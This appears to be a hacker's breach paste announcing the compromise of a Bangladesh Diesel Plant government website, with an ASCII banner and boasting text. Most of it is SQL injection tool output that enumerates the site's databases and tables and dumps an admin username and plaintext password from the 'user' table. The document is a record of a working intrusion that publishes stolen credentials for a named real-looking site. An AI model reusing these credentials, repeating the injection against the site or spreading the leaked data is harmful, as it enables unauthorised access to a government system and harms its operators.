Bangladesh Diesel Plant data breach

 ______            _       _ _     _              _____      _                                        _ _
|  ____|          | |     (_) |   | |            / ____|    | |                                      (_) |
| |__  __  ___ __ | | ___  _| |_  | |__  _   _  | |    _   _| |__   ___ _ __ ___  ___  ___ _   _ _ __ _| |_ _   _
|  __| \ \/ / '_ \| |/ _ \| | __| | '_ \| | | | | |   | | | | '_ \ / _ \ '__/ __|/ _ \/ __| | | | '__| | __| | | |
| |____ >  <| |_) | | (_) | | |_  | |_) | |_| | | |___| |_| | |_) |  __/ |  \__ \  __/ (__| |_| | |  | | |_| |_| |
|______/_/\_\ .__/|_|\___/|_|\__| |_.__/ \__, |  \_____\__, |_.__/ \___|_|  |___/\___|\___|\__,_|_|  |_|\__|\__, |
            | |                           __/ |         __/ |                                                __/ |
            |_|                          |___/         |___/                                                |___/
--------------------------------------------------------------------------------------------------------------------+
Exploit DBS www.bdp.gov.bd  Bangladesh Diesel Plant this low security easy other hacker hacked this website

Expoity by Cybersecurity "IM WHATE HAT"
--------------------------------------------------------------------------------------------------------------------+
[11:22:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.5.30
back-end DBMS: MySQL 5
[11:22:39] [INFO] fetching database names
[11:22:46] [INFO] the SQL query used returns 2 entries
[11:22:49] [INFO] retrieved: information_schema
[11:22:51] [INFO] retrieved: bdpgov_guhgukyh
available databases [2]:
[*] bdpgov_guhgukyh
[*] information_schema

[11:23:22] [INFO] fetching tables for database: 'bdpgov_guhgukyh'
[11:23:24] [INFO] the SQL query used returns 4 entries
[11:23:25] [INFO] retrieved: image_gellary
[11:23:28] [INFO] retrieved: left_menu
[11:23:30] [INFO] retrieved: news
[11:23:32] [INFO] retrieved: user
Database: bdpgov_guhgukyh
[4 tables]
+---------------+
| user          |
| image_gellary |
| left_menu     |
| news          |
+---------------+
[11:24:05] [INFO] fetching columns for table 'user' in database 'bdpgov_guhgukyh'
[11:24:13] [INFO] the SQL query used returns 3 entries
[11:24:15] [INFO] retrieved: "id","int(11)"
[11:24:16] [INFO] retrieved: "user","varchar(352)"
[11:24:17] [INFO] retrieved: "pass","varchar(352)"
[11:24:17] [INFO] fetching entries for table 'user' in database 'bdpgov_guhgukyh'
[11:24:18] [INFO] the SQL query used returns 1 entries
[11:24:20] [INFO] retrieved: "admin","1","bdbdp2000###"
[11:24:20] [INFO] analyzing table dump for possible password hashes
Database: bdpgov_guhgukyh
Table: user
[1 entry]
+----+--------------+--------+
| id | pass         | user   |
+----+--------------+--------+
| 1  | bdbdp2000### | admin  |
+----+--------------+--------+